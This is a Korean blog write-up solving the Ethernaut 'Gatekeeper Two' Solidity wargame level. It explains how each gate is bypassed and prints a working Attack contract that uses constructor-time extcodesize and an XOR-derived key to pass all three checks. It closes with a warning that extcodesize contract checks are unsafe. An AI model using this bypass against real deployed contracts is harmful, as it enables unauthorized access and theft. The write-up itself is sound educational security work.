티스토리 뷰

1. 문제

 

The Ethernaut

The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

ethernaut.openzeppelin.com

문지기(gatekeeper)를 지나서 입장자(entrant)로 등록하라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

2. 해법

 Gatekeeper One 문제랑 유사합니다. 세 개의 문을 하나씩 뚫어보겠습니다.

첫 번째 문

modifier gateOne() {
  require(msg.sender != tx.origin);
  _;
}

 첫 번째 문은 Gatekeeper One의 첫 번째 문과 동일합니다. 컨트랙트를 사용해 tx.origin과 msg.sender가 동일하지 않게 할 수 있습니다.

두 번째 문

modifier gateTwo() {
  uint x;
  assembly { x := extcodesize(caller()) }
  require(x == 0);
  _;
}

 두 번째 문은 조금 어렵습니다. assembly 키워드를 사용한 블록 내에서 저수준의 어셈블리 코드를 사용하는데, 이는 일반적인 solidity 문법과 많이 상이합니다.

 

 assembly 블록 내에서 사용한 opcode는 다음과 같습니다.

  • caller() : 호출자(msg.sender)를 가져옵니다.
  • extcodesize(a) : a의 컨트랙트 코드 크기를 가져옵니다.

 문제는 첫 번째 문에서 사용한 방법으로 인해 extcodesize의 인수로 들어가는 값이 컨트랙트 주소여야만 하는데, 반환되는 값이 0이어야 한다고 합니다. 문제에서는 이더리움 황서의 7번 섹션을 참고하라고 해서 확인해 보았습니다.

 '초기화 코드가 실행되는 동안, EXTCODESIZE는 0을 반환해야만 한다'라고 하는데, 여기서 초기화 코드라는 표현이 조금 애매할 수 있는데 이는 바로 컨트랙트의 생성자에서 실행되는 코드를 의미합니다. 생성자 안에서 실행된 호출 스택에 EXTCODESIZE가 들어가게 되면 항상 0을 반환한다는 것입니다. 따라서 생성자 함수를 사용해 공격을 실행해야 합니다.

세 번째 문

modifier gateThree(bytes8 _gateKey) {
  require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
  _;
}

 세 번째 문은 XOR 연산과 관련된 문제입니다. 간단하게 A XOR B가 uint64 타입의 최댓값 0xffffffffffffffff과 동일해야 한다는 것입니다. XOR 연산은 비트값이 동일하면 0이 되고 서로 다르면 1이 됩니다. 따라서 A의 계산식이 아무리 복잡하더라도 결국 A의 모든 비트를 뒤집은 값을 사용하면 정답을 구할 수 있습니다. 여기서 A의 모든 비트를 뒤집은 값은 결국 A XOR 0xffffffffffffffff로 구할 수 있습니다.

컨트랙트 배포 및 실행

 컨트랙트는 다음과 같이 작성되었습니다. 생성자 안에서 실행이 되며, gateKey는 A와 0xffffffffffffffff의 XOR 연산 결과를 bytes8로 캐스팅하여 인수로 전달합니다.

contract Attack {
  constructor(address _gatekeeperTwo) {
    bytes8 gateKey= bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);

    GatekeeperTwo instance = GatekeeperTwo(_gatekeeperTwo);
    instance.enter(gateKey);
  }
}

 컨트랙트를 배포할 때는 GatekeeperTwo의 주소를 인수로 사용하여 배포합니다. 배포와 동시에 생성자에서 공격이 실행되기 때문에 트랜잭션이 컨펌되면 바로 결과를 확인할 수 있습니다.

 

 트랙잭션이 컨펌되고 나서 entrant 값을 확인해 보면 자신의 지갑 주소로 변경된 것을 확인할 수 있습니다.

 

 인스턴스를 제출하고 마무리합니다.


3. 결론

modifier isContract() {
  uint x;
  assembly { x := extcodesize(caller()) }
  require(x != 0, "CODESIZE ZERO");
  _;
}

 extcodesize opcode를 사용해 코드 크기로 컨트랙트인지 일반 계정인지 분별하는 로직을 사용할 수도 있는데, 이는 절대로 안전한 방식이 아니라는 것입니다.

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 16. Preservation  (0) 2024.01.29
[Ethernaut] 15. Naught Coin  (1) 2024.01.28
[Ethernaut] 13. Gatekeeper One  (1) 2024.01.25
[Ethernaut] 12. Privacy  (1) 2024.01.24
[Ethernaut] 11. Elevator  (1) 2024.01.23
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함